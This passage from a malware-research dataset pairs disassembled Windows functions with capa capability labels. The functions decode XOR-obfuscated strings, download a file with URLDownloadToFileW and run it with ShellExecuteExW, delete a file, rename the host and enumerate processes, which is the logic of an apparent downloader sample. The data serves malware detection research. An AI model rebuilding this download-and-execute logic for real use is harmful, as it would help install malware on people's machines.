joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140033b10
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1402c10c0]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xor edi, edi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], rdi
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], di
jne 0x140033b48
lea rcx, [rbp - 0x28]
call fcn.14003d92c
nop
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rcx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x18]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x140033b7f
lea rcx, [rbp - 0x28]
call fcn.14003c3c8
movups xmm0, xmmword [str.GSCYK]
movups xmmword [rbp - 0x40], xmm0
mov eax, dword [0x1402b2a50]
mov dword [rbp - 0x30], eax
movzx eax, word [0x1402b2a54]
mov word [rbp - 0x2c], ax
mov r8d, edi
lea r9, [rbp - 0x40]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xb
jl 0x140033ba5
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x28]
call fcn.14003c544
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova r8, qword [rbp - 0x28]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
nop
lea rcx, [rbp - 0x28]
call fcn.14003cd6c
xor al, al
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14009fef0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140033c34
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1402c10c0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor edi, edi
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rdi
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], di
jne 0x140033c6f
lea rcx, [rbp - 0x30]
call fcn.14003d92c
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x20]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x140033ca6
lea rcx, [rbp - 0x30]
call fcn.14003c3c8
movups xmm0, xmmword [str.FSQXTO_v_n]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x1402b2eb8]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1402b2ec0]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1402b2ec4]
mov word [rbp - 0x34], ax
mov r8d, edi
lea r9, [rbp - 0x50]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xf
jl 0x140033cd9
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.14003c544
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
nop
lea rcx, [rbp - 0x30]
call fcn.14003cd6c
xor al, al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14009fef0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140033d6c
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x1402c10c0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rdx
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
xor r14d, r14d
mov qword [rbp + 0x27], r14
mov qword [rbp + 0x2f], r14
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140033db0
lea rcx, [rbp + 0x17]
call fcn.14003d92c
nop
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rcx, qword [rbp + 0x17]
mov rax, qword [rbp + 0x27]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x140033de7
lea rcx, [rbp + 0x17]
call fcn.14003c3c8
movups xmm0, xmmword [str.W_C_QTR_Z_]
movups xmmword [rbp - 0x79], xmm0
movsd xmm0, qword [0x1402b1e38]
movsd qword [rbp - 0x69], xmm0
mov eax, dword [0x1402b1e40]
mov dword [rbp - 0x61], eax
movzx eax, word [0x1402b1e44]
mov word [rbp - 0x5d], ax
mov r8d, r14d
lea r9, [rbp - 0x79]
mov ebx, 1
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0xf
jl 0x140033e1f
lea rdx, [rbp - 0x79]
lea rcx, [rbp + 0x17]
call fcn.14003c544
lea r8, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova r8, qword [rbp + 0x17]
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140033ec5
mov dword [rbp - 0x59], reloc.WS2_32.dll_WSASetLastError
xor edx, edx
lea r8d, [rdx + 0x6c]
lea rcx, [rbp - 0x55]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rax, qword [rbp + 0x17]
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x31], rdi
mov dword [rbp - 0x29], r14d
lea rcx, [rbp - 0x59]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140033ec8
mov bl, r14b
lea rcx, [rbp + 0x17]
call fcn.14003cd6c
mov al, bl
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14009fef0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140033ef8
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov eax, 2
lea rcx, [rsp + 0x70]
lea rdx, [0x1402b1e70]
lea r8d, [rax + 0x7e]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140033f27
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
xor ebx, ebx
movups xmm1, xmmword [rdx + 0x10]
mov r8d, ebx
lea r9, [rsp + 0x70]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x35
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xbf
jl 0x140033fc7
mov eax, dword [0x1402b1ce8]
lea r9, [rsp + 0x20]
movups xmm0, xmmword [str.v_fkoPT_SJM_]
mov dword [rsp + 0x30], eax
mov r8d, ebx
movzx eax, word [0x1402b1cec]
movups xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x34], ax
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x35
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xb
jl 0x14003402a
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.140033d6c
lea rcx, [rbp + 0x100]
mov qword [rbp + 0x100], 2
call fcn.14003d1f0
movups xmm0, xmmword [str.v_fkoPT_SJMc7__._25_:__b___P]
lea r8, [rsp + 0x38]
movups xmm1, xmmword [0x1402b2f98]
movups xmmword [rsp + 0x38], xmm0
movups xmm0, xmmword [0x1402b2fa8]
movups xmmword [rsp + 0x48], xmm1
movups xmmword [rsp + 0x58], xmm0
movsd xmm0, qword [0x1402b2fb8]
movsd qword [rsp + 0x68], xmm0
mov eax, 0x29e4129f
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x35
xor word [r8], ax
lea r8, [r8 + 2]
cmp ebx, 0x1c
jl 0x1400340bd
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rsp + 0x208]
add rsp, 0x1f0
pop rbp
ret
Function at 0x1400350ec
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1318]
mov eax, 0x13f0
call fcn.1400a0b80
sub rsp, rax
mov rax, qword [0x1402c10c0]
xor rax, rsp
mov qword [rbp + 0x12e0], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
mov dword [rsp + 0x20], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea r8d, [rsi + 0x24]
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea rcx, [rsp + 0x30]
call fcn.14003da24
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
or dword [rbp + 0x12d4], 0xffffffff
mov dword [rsp + 0x54], eax
lea r15d, [rsi + 1]
mov ecx, r15d
mov r8d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x54], edx
add rcx, r15
cmp rcx, r8
jb 0x14003517f
mov dword [rsp + 0x50], r8d
mov r13d, dword [rsp + 0x40]
dec r13d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], sil
mov dword [rsp + 0x20], r15d
mov r12d, 7
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
cmp r13d, 0xffffffff
jne 0x1400351e6
call fcn.14003edcc
mov r8d, eax
jmp 0x14003522d
lea esi, [r13 + 1]
call fcn.14003edcc
mov r15d, esi
mov r8d, eax
imul r8, r15
cmp r8d, esi
jae 0x140035223
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp r8d, edx
jae 0x140035223
lea rcx, [rsp + 0x50]
call fcn.14003edcc
mov r8d, eax
imul r8, r15
cmp r8d, esi
jb 0x14003520d
shr r8, 0x20
xor esi, esi
lea r15d, [rsi + 1]
lea rcx, [rsp + 0x30]
cmp r14, 0xf
cmova rcx, rdi
movsxd rax, r8d
mov r9b, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x14003526b
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140035260
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], sil
jmp 0x140035279
mov r8b, sil
mov rdx, r15
mov rcx, rbx
call fcn.14003db18
sub r12, r15
jne 0x1400351d1
cmp r14, 0xf
jbe 0x1400352bc
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400352b4
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400352b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400a0618
mov rax, rbx
mov rcx, qword [rbp + 0x12e0]
xor rcx, rsp
call fcn.14009fef0
lea r11, [rsp + 0x13f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400352f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x13d0
call fcn.1400a0b80
sub rsp, rax
mov rax, qword [0x1402c10c0]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov r13d, 0xffffffff
mov r12d, 1
mov dword [rsp + 0x34], eax
mov edx, r12d
mov dword [rsp + 0x13b4], r13d
mov r8d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x34], eax
add rdx, r12
cmp rdx, r8
jb 0x14003534e
mov rax, qword [0x1402c2630]
mov r15, qword [0x1402c2628]
sub rax, r15
mov dword [rsp + 0x30], r8d
sar rax, 3
sub rax, r12
cmp rax, 0xffffffffffffffff
jne 0x1400353b0
lea rcx, [rsp + 0x30]
call fcn.14003edcc
mov ebx, eax
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003edcc
mov eax, eax
or rbx, rax
jmp 0x1400354f1
lea rbp, [rax + 1]
mov rdi, r13
mov esi, r12d
cmp r13, rax
jae 0x1400353ce
shl rdi, 0x20
add esi, r12d
or rdi, r13
cmp rdi, rax
jb 0x1400353bf
lea rcx, [rsp + 0x30]
call fcn.14003edcc
lea r14d, [rsi - 1]
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x1400353fe
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003edcc
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x1400353e6
mov rax, rbp
mul rbx
mov rcx, rax
mov r8, rdx
and rcx, rdi
mov rbx, rax
cmp rcx, rbp
jae 0x14003546b
xor edx, edx
mov rax, rdi
sub rax, rbp
add rax, r12
div rbp
mov r12, rdx
cmp rcx, rdx
jae 0x14003546b
lea rcx, [rsp + 0x30]
call fcn.14003edcc
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x140035457
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003edcc
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x14003543f
mov rax, rbp
mul rbx
mov rbx, rax
mov r8, rdx
and rax, rdi
cmp rax, r12
jb 0x14003542b
cmp dword [reloc.WS2_32.dll_accept], 2
jge 0x1400354cf
mov rax, rdi
movabs rcx, 0x5555555555555555
shr rax, 1
and rax, rcx
movabs rcx, 0x3333333333333333
sub rdi, rax
mov rax, rdi
and rdi, rcx
shr rax, 2
and rax, rcx
add rax, rdi
mov rcx, rax
shr rcx, 4
add rcx, rax
movabs rax, 0xf0f0f0f0f0f0f0f
and rcx, rax
movabs rax, 0x101010101010101
imul rcx, rax
shr rcx, 0x38
jmp 0x1400354d4
popcnt rcx, rdi
mov ecx, ecx
test cl, cl
je 0x1400354f1
cmp cl, 0x40
jb 0x1400354ed
movzx ecx, cl
mov rbx, r8
and ecx, 0x3f
shr rbx, cl
jmp 0x1400354f1
shrd rbx, r8, cl
mov rax, qword [r15 + rbx*8]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.14009fef0
lea r11, [rsp + 0x13d0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140035528
Capabilities:
Get hostname

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1402c10c0]
xor rax, rsp
mov qword [rbp - 8], rax
mov dword [rbp - 0x60], reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rcx, [rbp - 0x38]
call fcn.1400350ec
nop
lea r8, [rbp - 0x38]
lea rdx, str.DESKTOP_
lea rcx, [rbp - 0x58]
call fcn.14003d318
nop
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_SetComputerNameA]
call fcn.1400352f0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400355ce
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400355c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400355c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a0618
movdqa xmm0, xmmword [0x1402b3250]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14003561d
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035618
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035618
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a0618
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14009fef0
add rsp, 0x80
pop rbp
ret
Function at 0x140035bdc
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1402c10c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140035c1b
xor al, al
jmp 0x140035c68
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
jmp 0x140035c55
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140035c5b
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140035c35
jmp 0x140035c5d
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14009fef0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14003b9d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14003ba00
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14003ba78
mov rax, qword [rcx + 0x40]
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x14003ba17
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14003ba19
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14003ba72
test ecx, ecx
jle 0x14003ba52
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14003ba72
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14003ba72
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x14003ba94
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14003bab4
xor eax, eax
jmp 0x14003bb9d
cmp qword [rcx + 0x68], 0
je 0x14003bac6
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x14003bb9d
mov rax, qword [rcx + 0x38]
mov rdi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14003badd
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14003badf
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14003bb11
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rbx
sub rdi, rbx
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14003bb97
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14003bb48
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14003bb72
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rdi, rax
cmp rax, rbx
jne 0x14003bb97
cmp rdi, rbx
ja 0x14003bb4f
test rdi, rdi
je 0x14003bb97
mov r9, qword [rsi + 0x80]
mov r8, rdi
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
sub rbp, rdi
mov rax, rbp
add rsp, 0x20
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14003bf78
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1402c10c0]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x14003bfb1
xor eax, eax
jmp 0x14003c0d1
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x14003bfeb
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x14003bfeb
lea ecx, [r8 - 1]
mov eax, esi
mov dword [rdx], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], sil
jmp 0x14003c0d1
cmp qword [rbx + 0x80], 0
je 0x14003c0cf
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14003c026
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14003c047
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
jmp 0x14003c0cc
lea rax, [rbp - 0x40]
mov byte [rbp - 0x30], sil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea r9, [rbp - 0x2f]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x30]
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14003c095
sub eax, 1
je 0x14003c095
cmp eax, 2
jne 0x14003c0cf
movsx ecx, byte [rbp - 0x30]
jmp 0x14003c033
mov r14, qword [rbp - 0x40]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x14003c0c0
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp r14, rax
jne 0x14003c0cf
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x38], rax
cmovne edi, esi
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14009fef0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14003ca80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x1402c10c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14003caef
cmp byte [rcx + 0x71], 0
je 0x14003caef
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14003cb44
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14003cb09
sub eax, 1
je 0x14003cb0d
cmp eax, 2
jne 0x14003cb44
mov byte [rbx + 0x71], 0
